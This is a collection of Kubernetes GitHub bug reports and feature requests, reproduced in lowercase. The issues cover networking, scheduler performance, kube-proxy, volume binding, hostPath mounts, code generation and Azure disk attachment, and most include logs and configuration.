mss 1460,sackok,ts val 1832358105 ecr 0,nop,wscale 7 , length 0\r 00:14:52.770175 ip 10.244.55.192.34194 > 10.244.145.193.3000: flags  p. , seq 1:513, ack 1, win 229, options  nop,nop,ts val 1832358105 ecr 384239381 , length 512\r 00:14:52.770324 ip 10.244.145.193.3000 > 10.244.55.192.34194: flags  . , ack 513, win 235, options  nop,nop,ts val 384239381 ecr 1832358105 , length 0\r    \r >> 192.168.17.201: catch nothing \r    \r root@m-clustera-192-168-17-201:~  ip addr\r ...\r 480: tunl0@none: <noarp,up,lower_up> mtu 1440 qdisc noqueue state unknown group default qlen 1\r     link/ipip 0.0.0.0 brd 0.0.0.0\r     inet 10.244.206.64/32 brd 10.244.206.64 scope global tunl0\r        valid_lft forever preferred_lft forever\r ...\r root@m-clustera-192-168-17-201:~  tcpdump -i tunl0\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on tunl0, link-type raw  raw ip , capture size 262144 bytes\r \r \r    \r > route:\r >> 192.168.17.203:\r    \r root@m-clustera-192-168-17-203:~  route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         192.168.17.1    0.0.0.0         ug    0      0        0 eno1\r 10.244.55.192   0.0.0.0         255.255.255.192 u     0      0        0  \r 10.244.66.192   192.168.3.205   255.255.255.192 ug    0      0        0 tunl0\r 10.244.145.192  192.168.3.204   255.255.255.192 ug    0      0        0 tunl0\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r 192.168.3.0     0.0.0.0         255.255.255.0   u     0      0        0 eno1\r 192.168.17.0    0.0.0.0         255.255.255.0   u     0      0        0 eno1\r    \r >> 192.168.17.201:\r    \r root@m-clustera-192-168-17-201:~  route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         192.168.17.1    0.0.0.0         ug    0      0        0 eno1\r 10.244.134.192  192.168.4.115   255.255.255.192 ug    0      0        0 tunl0\r 10.244.199.192  192.168.4.116   255.255.255.192 ug    0      0        0 tunl0\r 10.244.206.64   0.0.0.0         255.255.255.192 u     0      0        0  \r 10.244.206.65   0.0.0.0         255.255.255.255 uh    0      0        0 caliaf79382733c\r 172.17.0.0      0.0.0.0         255.255.0.0     u     0      0        0 docker0\r 192.168.17.0    0.0.0.0         255.255.255.0   u     0      0        0 eno1\r    \r \r   cluster and prometheus service information:  \r    \r root@m-clustera-192-168-17-201:~  kubectl get nodes\r name                        status    roles     age       version\r m-clustera-192-168-17-201   ready     master    2d        v1.8.2\r m-clustera-192-168-17-203   ready     master    2d        v1.8.2\r m-clustera-192-168-17-204   ready     master    2d        v1.8.2\r n-clustera-192-168-17-205   ready     <none>    1d        v1.8.2\r n-clustera-192-168-4-115    ready     <none>    1d        v1.8.2\r n-clustera-192-168-4-116    ready     <none>    1d        v1.8.2\r    \r \r > create prometheus service \r    \r root@m-clustera-192-168-17-201:~  kubectl get pods -n kube-system\r ...\r prometheus-node-exporter-8pqdw                            1/1       running   0          2d\r prometheus-node-exporter-b7qrx                            1/1       running   0          1d\r prometheus-node-exporter-fnpvl                            1/1       running   0          1d\r prometheus-node-exporter-jsbxt                            1/1       running   0          2d\r prometheus-node-exporter-pcrm2                            1/1       running   0          2d\r prometheus-node-exporter-wqjcx                            1/1       running   0          1d\r root@m-clustera-192-168-17-201:~  kubectl get pods \r name                                  ready     status    restarts   age\r prometheus-monitor-6b7d598c57-562wv   2/2       running   0          2d\r    \r >>\r \r   what you expected to happen  :\r > can access by all node:nodeport \r \r   how to reproduce it  as minimally and precisely as possible   :\r > i generate certs and configs, the copy to those three masters, create one etcd cluster in masters' host, waiting for etcd ready and then install kubeadm and kubectl, kubelet, run this command in three master the same time:  kubeadm init -f kubeadm.yaml --skip-checks, one of kubeadm.yaml show fellow, 192.168.17.254 is the vip:\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r api:\r   advertiseaddress: 192.168.17.254\r etcd:\r   endpoints:\r   infra-192.168.17.201=http://192.168.17.201:12379,infra-192.168.17.203=http://192.168.17.203,infra-192.168.17.204=http://192.168.17.204:12379\r kubernetesversion: v1.8.2\r networking:\r   dnsdomain: cluster.local\r   servicesubnet: 10.96.0.0/16\r   podsubnet: 10.244.0.0/16\r nodename: m-clustera-192-168-17-203\r certificatesdir: /etc/kubernetes/pki\r    \r \r   anything else we need to know?  :\r > any thing you want to know, just ask me, please.\r > here is what i have try:\r >> i have try disable and close firewalld by ufw stop and ufw disable , check the iptables nat and filter table, is the same, run modprobe ipip and modprobe ip_vs to load ipip and ip_vs module. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :linux m-clustera-192-168-17-203 4.4.0-87-generic  110-ubuntu smp tue jul 18 12:55:35 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:kubeadm\r - others:\r \r 

following from an offline discussion.\r i'm noticing that the scheduler throughput of our latest successful  5k-node run  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/67/build-log.txt  seems to be ~300 pods per 10s:\r \r    \r i1122 21:22:07.066  nov 22 21:22:07.065: info: density pods: 150000 out of 150000 created, 147773 running, 49 pending, 2178 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 21:22:17.020  nov 22 21:22:17.020: info: density pods: 150000 out of 150000 created, 148027 running, 53 pending, 1920 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 21:22:26.990  nov 22 21:22:26.989: info: density pods: 150000 out of 150000 created, 148310 running, 45 pending, 1645 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 21:22:37.017  nov 22 21:22:37.017: info: density pods: 150000 out of 150000 created, 148566 running, 53 pending, 1381 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1122 21:22:46.998  nov 22 21:22:46.997: info: density pods: 150000 out of 150000 created, 148843 running, 56 pending, 1101 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r    \r \r iirc it was considerably higher before. also,\r \r    \r e2e startup time for 150000 pods: 1h28m53.009192542s\r    \r \r it's weird that it is that high in comparison with  2k-node  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/18/build-log.txt  test:\r \r    \r e2e startup time for 60000 pods: 11m10.450099342s\r    \r \r /assign @porridge \r \r cc @kubernetes/sig-scheduling-bugs @kubernetes/sig-scalability-bugs @bsalamat @wojtek-t

when the kubelet downloads a new configuration, it should send an event before restarting to use the new config. this is an important state change, and is appropriate for an event.\r \r /cc @liggitt @mikedanese @dchen1107

\r ! kubernetes_high_iops  https://user-images.githubusercontent.com/6815499/41863468-8d42a144-78c4-11e8-8679-fa843ac528f7.jpg \r  \r \r   what happened  :\r i'm running a kubernetes cluster with 1 master and 2 slaves, each with 8gb ram and 2 vcpus.\r following is the   unusually high disk usage   that i observe, only after running some batch jobs for about 40 mins across both the slaves. there, are three instances of the mentioned job    kind : job    running at a time, on each slave. the ram usage on a slave is nominal with about 3gb and below 50% cpu.\r description of the job :\r it downloads some images from a server, does some image processing and stores the result on the nfs  shared by both the slaves. . i've mounted this nfs volume in the k8s job description.\r after about 40 mins of  normal operation, i noticed high disk usage   both iops and bandwidth   and also high ram consumption of almost 7.8gb out of 8 gb, ultimately forcing the node into  not ready  state.\r   what you expected to   happen  :\r iops shouldn't be this high. and nodes shouldn't become  not ready \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16:04 \r - kernel  e.g.  uname -a  : linux ip-172-29-238-153 4.4.0-1060-aws  69-ubuntu smp sun may 20 13:42:07 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r  \r   what happened  :\r \r kube-proxy  k8s.gcr.io/kube-proxy-amd64:v1.11.1  deployed as daemonset with ipvs mode produce during startup following error:\r    \r e0905 20:09:11.733419       1 proxier.go:423  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed\r  \r    \r \r with verbosity -v5 the logs looks like this:\r    \r i0905 20:09:11.677674       1 iptables.go:323  running iptables-save  -t nat \r i0905 20:09:11.731479       1 iptables.go:383  running iptables-restore  -t nat --noflush --counters \r e0905 20:09:11.733419       1 proxier.go:423  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed\r  \r i0905 20:09:11.733681       1 iptables.go:323  running iptables-save  -t filter \r i0905 20:09:11.737057       1 iptables.go:383  running iptables-restore  -t filter --noflush --counters \r i0905 20:09:11.738971       1 server.go:448  version: v1.11.1\r    \r \r looks like proxier is trying to perform cleanup part: https://github.com/kubernetes/kubernetes/blob/v1.11.1/pkg/proxy/iptables/proxier.go l423 but failed. such error is generated only once during startup.\r \r   what you expected to happen  :\r \r error should not exist : \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : ubuntu 16.04 lts\r - kernel  e.g.  uname -a  :\r - install tools: custom script based on docker\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i hava a service,i can access by this dns like \ http://servicename.namespace.svc:port\ ,but i can't visit by this dns format  like \ http://servicename.namespace:port\ ,i don't know why\r ! image  https://user-images.githubusercontent.com/20835804/48936326-8cdee580-ef45-11e8-9314-2b4405a804aa.png \r \r   what you expected to happen  :\r \r i can access it either way\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.11.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708\r - kernel  e.g.  uname -a  :3.10.0-693.2.2.el7.x86_64\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r add e2e test that verifies a kubernetes node is deleted on the api server if it was deleted on the cloud provider.\r \r   why is this needed  :\r this is a pretty important feature of the node controller and any bugs here can lead to accidental deletion of node objects.\r \r originally suggested by @mtaufen in https://github.com/kubernetes/kubernetes/pull/70344. we may also want to investigate if this is possibly already covered in autoscaler tests. \r \r  node\r /assign @andrewsykim\r

source of major confusion in webserver tuning, but i'm sure that's just one victim. - lack of documentation  best i could find was https://github.com/docker/docker/blob/master/opts/opts.go l257  - how do i set it on the host?  daemon set, probably  - how do i set it in container?  privileged sidecar for network sysctls   @kubernetes/sig-node

https://k8s-testgrid.appspot.com/release-master-blocking gce-alpha-features\r \r kubelet log:\r    \r i0608 22:07:02.816799    3527 server.go:782  get /healthz:  33.024âµs  200   curl/7.26.0  127.0.0.1:46972 \r i0608 22:07:12.825056    3527 server.go:782  get /healthz:  21.665âµs  200   curl/7.26.0  127.0.0.1:46975 \r i0608 22:07:22.832097    3527 server.go:782  get /healthz:  23.923âµs  200   curl/7.26.0  127.0.0.1:46977 \r i0608 22:07:31.849611    3527 server.go:242  checking api server for new kubelet configuration.\r i0608 22:07:31.856407    3527 server.go:251  did not find a configuration for this kubelet via api server: cloud provider was nil, and attempt to use hostname to find config resulted in: configmaps \ kubelet-bootstrap-e2e-minion-group-282x\  not found\r    \r \r @thockin since it might be \ cloud provider\ \r @mtaufen since it might relate to kubelet config\r \r cc @dchen1107 @caesarxuchao

this is an observation from reading the code; apologies if i've misunderstood.\r \r  line 220  https://github.com/kubernetes/kubernetes/blob/204fb62d4931b036732eeeca9e362c833ccc7a3b/pkg/client/leaderelection/leaderelection.go l220  is the only place  leasedurationseconds  is used.\r \r at  line 246  https://github.com/kubernetes/kubernetes/blob/204fb62d4931b036732eeeca9e362c833ccc7a3b/pkg/client/leaderelection/leaderelection.go l246   leaderelector  considers whether the lock has expired, but only with reference to its own idea of the lease duration.\r \r this means that, if two instances of this code were configured with, say, 10 seconds and 30 seconds for  leaseduration , then the 10-second one would happily steal the lock from the 30-second one while the latter carried on thinking it had the lock until the next random check.\r \r so if i've got that right, the code at line 246 should be more like  le.observedtime.add le.observedrecord.leasedurationseconds   time.second .after now.time  \r \r 

completed pods currently retain their conditions, but change the values.  so a completed pod is marked as \ ready\  = \ false\ , which isn't really true, since it will be impossible for that pod to become ready again.

 \r we have heard from multiple users that - whenever they do a rolling deployment, this error pops up and it causes unnecessary churn since eventually detach succeeds and error goes away.\r \r we need to find a middle ground and perhaps log this error more \ responsibly\  .\r \r cc @kubernetes/sig-storage-bugs @sjenning

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r e2e tests provide only an  ipv4  ping test for external connectivity.\r \r   what you expected to happen  :\r need a way to conditionally run a ping6 external connectivity check, and disable the  ipv4  external connectivity check, for ipv6-only clusters. \r   how to reproduce it  as minimally and precisely as possible   :\r examine the e2e code  test/e2e/framework/util.go:checkconnectivitytohost  , or run this test on an ipv6-only cluster.\r \r   anything else we need to know?  :\r this test will be needed for ipv6 gating ci tests, at least until kubernetes dual-stack is fully implemented.\r \r /area ipv6\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r volume got bound to pv on node  \ kubernetes-minion-group-82c8\ \r    \r i1130 00:52:54.196214       5 scheduler_binder.go:181  assumepodvolumes for pod \ default/mysql-faster-0\ , node \ kubernetes-minion-group-82c8\ \r i1130 00:52:54.196241       5 scheduler_binder.go:280  pvc \ default/data-mysql-faster-0\  is not bound\r i1130 00:52:54.196289       5 scheduler_binder.go:194  assumepodvolumes: getbindvolumetoclaim for pv \ local-pv-b5cf5b33\ , pvc \ data-mysql-faster-0\ .  newpv 0xc420dae500, dirty true, err: <nil>\r i1130 00:52:54.196306       5 scheduler_assume_cache.go:260  assumed v1.persistentvolume \ local-pv-b5cf5b33\ , version 814\r i1130 00:52:54.196331       5 scheduler.go:325  trying to bind volumes for pod \ default/mysql-faster-0\ \r i1130 00:52:54.196337       5 scheduler_binder.go:228  bindpodvolumes for pod \ default/mysql-faster-0\ \r i1130 00:52:54.196344       5 pv_controller.go:804  claim \ default/data-mysql-faster-0\  bound to volume \ local-pv-b5cf5b33\ \r i1130 00:52:54.203157       5 pv_controller.go:817  updating persistentvolume local-pv-b5cf5b33 : bound to \ default/data-mysql-faster-0\ \r i1130 00:52:54.203196       5 scheduler.go:334  successfully bound volumes for pod \ default/mysql-faster-0\ \r    \r \r when the pod went back through scheduling, the predicate returned success for other nodes even though we should have updated the pv cache to point to the pvc:\r    \r i1130 00:52:54.222461       5 scheduler_binder.go:133  findpodvolumes for pod \ default/mysql-faster-0\ , node \ kubernetes-minion-group-q9pw\ \r i1130 00:52:54.222477       5 scheduler_binder.go:280  pvc \ default/data-mysql-faster-0\  is not bound\r i1130 00:52:54.229299       5 scheduler_binder.go:373  found matching volumes on node \ kubernetes-minion-group-q9pw\ \r i1130 00:52:54.229352       5 predicates.go:1492  all pvcs found matches for pod %v/%v, node %qdefaultmysql-faster-0kubernetes-minion-group-q9pw\r \r i1130 00:52:54.229388       5 scheduler_binder.go:133  findpodvolumes for pod \ default/mysql-faster-0\ , node \ kubernetes-minion-group-82c8\ \r i1130 00:52:54.229405       5 scheduler_binder.go:280  pvc \ default/data-mysql-faster-0\  is not bound\r i1130 00:52:54.229573       5 scheduler_binder.go:373  found matching volumes on node \ kubernetes-minion-group-82c8\ \r i1130 00:52:54.229618       5 predicates.go:1492  all pvcs found matches for pod %v/%v, node %qdefaultmysql-faster-0kubernetes-minion-group-82c8\r \r i1130 00:52:54.234484       5 scheduler_binder.go:133  findpodvolumes for pod \ default/mysql-faster-0\ , node \ kubernetes-minion-group-nrfq\ \r i1130 00:52:54.234522       5 scheduler_binder.go:280  pvc \ default/data-mysql-faster-0\  is not bound\r i1130 00:52:54.235880       5 scheduler_binder.go:373  found matching volumes on node \ kubernetes-minion-group-nrfq\ \r i1130 00:52:54.235903       5 predicates.go:1492  all pvcs found matches for pod %v/%v, node %qdefaultmysql-faster-0kubernetes-minion-group-nrfq\r    \r \r i think in  findmatchingvolumes , instead of continuing if the node affinity doesn't match, it should fail if the pv is prebound.

after switching to csi spec 0.2.0 extra permissions are required. \r  /assign @sbezverk\r 

 \r   context  :\r - e2e test   k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance   failed because  busybox-3   the one with the volume mount doesn't start \r - doesn't start due to mounting error: \r    \r failed: error: failed to start container \ busybox-3\ : error response from daemon: oci runtime create failed: container_linux.go:348: starting container process caused \ process_linux.go:402: container init caused \\\ rootfs_linux.go:58: mounting \\\\\\\ /tmp/etc-hosts708091275\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay2/a0d8a562c40788ec1aab2f5ec2283eb576c13d08b36db3a523452c69339f57a5/merged\\\\\\\  at \\\\\\\ /var/lib/docker/overlay2/a0d8a562c40788ec1aab2f5ec2283eb576c13d08b36db3a523452c69339f57a5/merged/etc/hosts\\\\\\\  caused \\\\\\\ not a directory\\\\\\\ \\\ \ : unknown: are you trying to mount a directory onto a file  or vice-versa ? check if the specified host path exists and is the expected type\r    \r   - copied the failing pod and reduced it to the parts that are failing\r \r   what happened  :\r - creating a pod from the following template:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-pod\r   namespace: test\r spec:\r   containers:\r   - command:\r     - sleep\r     - \ 900\ \r     image: gcr.io/kubernetes-e2e-test-images/netexec-amd64:1.0\r     imagepullpolicy: ifnotpresent\r     name: busybox-3\r     resources: {}\r     volumemounts:\r     - mountpath: /etc/hosts\r       name: host-etc-hosts\r   dnspolicy: clusterfirst\r   nodename: node1\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   volumes:\r   - hostpath:\r       path: /tmp/etc-hosts462102378\r       type: fileorcreate\r     name: host-etc-hosts\r    \r - pod creation fails with mounting error:\r    \r error: failed to start container \ busybox-3\ : error response from daemon: oci runtime create failed: container_linux.go:348: starting container pr\r ocess caused \ process_linux.go:402: container init caused \\\ rootfs_linux.go:58: mounting \\\\\\\ /tmp/etc-hosts462102378\\\\\\\  to rootfs \\\\\\\ /var/lib/docker/overlay2/877fb06f923c08d83e6f36cd3ef0e2757a1b814b6bfcecb6929aeef9bd41c45a/merged\\\\\\\ \r at \\\\\\\ /var/lib/docker/overlay2/877fb06f923c08d83e6f36cd3ef0e2757a1b814b6bfcecb6929aeef9bd41c45a/merged/etc/hosts\\\\\\\  caused \\\\\\\ not a directory\\\\\\\ \\\ \ : unknown: are you trying to mount a directory onto a file  or vice-versa ? check if\r the specified host path exists and is the expected type\r    \r - looking onto the node where the pod was started i can see the file  /tmp/etc-hosts462102378  was actually created as a directory\r    \r node1 tmp   ls -l\r total 8\r drwxr-xr-x. 2 root root  40 jul  4 14:32 etc-hosts462102378\r ...\r    \r \r   what you expected to happen  :\r - the file should actually be created as an empty file  as per documentation \r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a pod similar to the one posted above\r   - hostpath mount volume\r   - type fileorcreate\r \r   anything else we need to know?  :\r - the e2e tests were executed from within a docker container running on a local machine\r \r   environment  :  of the docker container \r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ archive\ , builddate:\ 2018-06-28t10:42:54z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ lin\r ux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3+coreos.0\ , gitcommit:\ f1b890dbbf11abe58280b3ffe17d67749f5ae70e\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t17:27:17z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platfor\r m:\ linux/amd64\ }\r    \r  i also tried it with client k8s 1.10 and go 1.9.3 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r  linux 29778d7f485a 4.9.87-linuxkit-aufs  1 smp wed mar 14 15:12:16 utc 2018 x86_64 gnu/linux

when invoking  generate-groups.sh  https://github.com/sgnn7/kubernetes/blob/master/staging/src/k8s.io/code-generator/generate-groups.sh  from a repo that uses the new  golang v1.11 modules  https://github.com/golang/go/wiki/modules , none of the codegens work as they assume that the repo layout has the code in  $gopath/src/k8s.io/code-generator  and that dependencies have been downloaded for this project  not doable using  go mod  easily .\r \r steps to reproduce:\r    \r $ docker run -it --rm golang:1.11rc1 /bin/bash\r root@5f5497fb59c9:/go  mkdir /foo && cd /foo && go mod init foo\r go: creating new go.mod: module foo\r \r root@5f5497fb59c9:/foo  go get -u k8s.io/code-generator\r go: finding k8s.io/code-generator latest\r go: downloading k8s.io/code-generator v0.0.0-20180806210827-caff7734d7c0\r \r root@5f5497fb59c9:/foo  find / -name 'generate-groups.sh'\r /go/pkg/mod/k8s.io/code-generator@v0.0.0-20180806210827-caff7734d7c0/generate-groups.sh\r \r root@5f5497fb59c9:/foo  /go/pkg/mod/k8s.io/code-generator@v0.0.0-20180806210827-caff7734d7c0/generate-groups.sh all foo foo bar\r bash: /go/pkg/mod/k8s.io/code-generator@v0.0.0-20180806210827-caff7734d7c0/generate-groups.sh: permission denied\r    \r \r changing the executable flag doesn't help as the script  goes into that directory and runs  go install   https://github.com/sgnn7/kubernetes/blob/master/staging/src/k8s.io/code-generator/generate-groups.sh l53   which in this case cannot complete due to this module not having installable dependencies with  go mod :\r    \r root@5f5497fb59c9:/foo  chmod +x /go/pkg/mod/k8s.io/code-generator@v0.0.0-20180806210827-caff7734d7c0/generate-groups.sh\r \r root@5f5497fb59c9:/foo  /go/pkg/mod/k8s.io/code-generator@v0.0.0-20180806210827-caff7734d7c0/generate-groups.sh all foo foo bar\r cmd/defaulter-gen/main.go:48:2: cannot find package \ github.com/golang/glog\  in any of:\r         /usr/local/go/src/github.com/golang/glog  from $goroot \r         /go/src/github.com/golang/glog  from $gopath \r cmd/defaulter-gen/main.go:49:2: cannot find package \ github.com/spf13/pflag\  in any of:\r         /usr/local/go/src/github.com/spf13/pflag  from $goroot \r         /go/src/github.com/spf13/pflag  from $gopath \r cmd/defaulter-gen/main.go:50:2: cannot find package \ k8s.io/gengo/args\  in any of:\r         /usr/local/go/src/k8s.io/gengo/args  from $goroot \r         /go/src/k8s.io/gengo/args  from $gopath \r cmd/defaulter-gen/main.go:51:2: cannot find package \ k8s.io/gengo/examples/defaulter-gen/generators\  in any of:\r         /usr/local/go/src/k8s.io/gengo/examples/defaulter-gen/generators  from $goroot \r         /go/src/k8s.io/gengo/examples/defaulter-gen/generators  from $gopath \r cmd/deepcopy-gen/main.go:52:2: cannot find package \ k8s.io/gengo/examples/deepcopy-gen/generators\  in any of:\r         /usr/local/go/src/k8s.io/gengo/examples/deepcopy-gen/generators  from $goroot \r         /go/src/k8s.io/gengo/examples/deepcopy-gen/generators  from $gopath \r    \r \r it seems that this can get further  until full go modules support  by adding a  go.mod  to the base of this repo and making the script executable but even then, the pathing is broken in  these  https://github.com/kubernetes/code-generator/blob/master/cmd/deepcopy-gen/main.go l63 :\r    \r root@26e1c7ae81c1:/foo  cd ..                                      \r root@26e1c7ae81c1:/  git clone https://github.com/kubernetes/code-generator.git\r cloning into 'code-generator'...                                            \r ...     \r \r root@26e1c7ae81c1:/  cd code-generator/\r \r root@26e1c7ae81c1:/code-generator  go mod init                           \r go: creating new go.mod: module k8s.io/code-generator                        \r go: copying requirements from godeps/godeps.json\r \r root@26e1c7ae81c1:/code-generator  cd /foo                             \r root@26e1c7ae81c1:/foo  chmod +x /code-generator/generate-groups.sh\r \r root@26e1c7ae81c1:/foo  /code-generator/generate-groups.sh all foo foo bar\r go: finding github.com/puerkitobio/urlesc v0.0.0-20160726150825-5bd2802263f2\r ...\r go: downloading golang.org/x/tools v0.0.0-20170428054726-2382e3994d48\r generating deepcopy funcs\r f0817 20:44:40.912251     845 main.go:81  error: failed making a parser: unable to add directory \ -o\ : unable to import \ -o\ : go/build: importgo -o: exit status 2\r flag provided but not defined: -o\r usage: go list  -f format   -json   -m   list flags   build flags   packages \r run 'go help list' for details.\r    \r \r  

as discussed in https://groups.google.com/forum/ !topic/google-containers/awz0u_sia6a supporting plain lxc containers  or lmctfy / lxd  requires some or a lot of changes.  i am very interested in managing lxc containers with kubernetes and also implementing this. but i would like to get some hints what needs to be done/how much work this would be: - what changes are needed/what components need to be extended? - what architectural decision needs to be made before the implementation is reasonable? - what are the minimal changes? - are there any changes that should/need to be done before a integration is practical?

i copied the launch config for the k8s cluster  v1.2  and changed the instance type from c3.2xlarge to m3.xlarge. bootstrap fails due to no ephemeral volumes:      bash -x /etc/kubernetes/bootstrap ... + ensure-local-disks + grep /mnt/ephemeral /proc/mounts + block_devices=   ++ curl --silent http://169.254.169.254/2014-11-05/meta-data/block-device-mapping/ ++ grep ephemeral + ephemeral_devices=      justinsb on slack: i think this needs to go into my kutil tool.... i think you have two options: 1  figure out how to do this with the awscli  no aws console .  including mapping the blockdevicemappings 2  bug me every day until i put it into \ kutil\

if you make a godep change and run the pre-commit hook, it tries to run verify-godeps.  two things go wrong.  1  git sets the git_dir variable, which apparently makes godep puke in its own lap.  2  godep finds \ dirty  working tree\  for every file in the tmp gopath  investigating in background.

environment  : -   cloud provider or hardware configuration  : azure -   os    e.g. from /etc/os-release : ubuntu xenial -   kernel    e.g.  uname -a  : whatever is in xenial today -   install tools  : custom -   others  : n/a    azure environment  : - westus2 - standard_d2    tl;dr  : - initial pod start takes 9 minutes - rescheduling the pod takes 11-12 minutes due to bugs mentioned below.    raw logs:   -   kubectl logs --namespace kube-system kube-controller-manager-k8s-master-27819504-0 | grep --text azure | grep -v load | grep -v route | gist -r   https://gist.github.com/anonymous/7126d51c573897cd4b3fd246b8085ed2/raw  -   sudo journalctl -u kubelet | grep --text azure | gist-paste -r   https://gist.githubusercontent.com/anonymous/a7691078dffb467cf81d51291ac131ad/raw     timelines     initial pod      attachment  kube-controller-manager       i1020 07:22:06.068048       1 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ test-azure-disk-3967202423\ , uid:\ e78749bb-9695-11e6-9f69-000d3af74706\ , apiversion:\ extensions\ , resourceversion:\ 3107\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: test-azure-disk-3967202423-wftda i1020 07:22:06.073019       1 deployment_controller.go:464  error syncing deployment default/test-azure-disk: operation cannot be fulfilled on deployments.extensions \ test-azure-disk\ : the object has been modified; please apply your changes to the latest version and try again i1020 07:22:06.119824       1 deployment_controller.go:464  error syncing deployment default/test-azure-disk: operation cannot be fulfilled on deployments.extensions \ test-azure-disk\ : the object has been modified; please apply your changes to the latest version and try again i1020 07:22:06.159638       1 reconciler.go:168  started attachvolume for volume \ kubernetes.io/azure-disk/kubetestdisk0\  to node \ k8s-agentpool1-27819504-1\  i1020 07:24:06.551271       1 operation_executor.go:515  attachvolume.attach succeeded for volume \ kubernetes.io/azure-disk/kubetestdisk0\   spec.name: \ volume-azuredisk\   from node \ k8s-agentpool1-27819504-1\ .        duration  attach   : 2 minutes.  maybe we should poll faster than azure says to. todo: figure out the default crp polling interval for disk attach       wait for attach  kubelet on first node       oct 20 07:22:06 k8s-agentpool1-27819504-1 docker 4276 : i1020 07:22:06.121062    4562 kubelet.go:2293  syncloop  add, \ api\  : \ 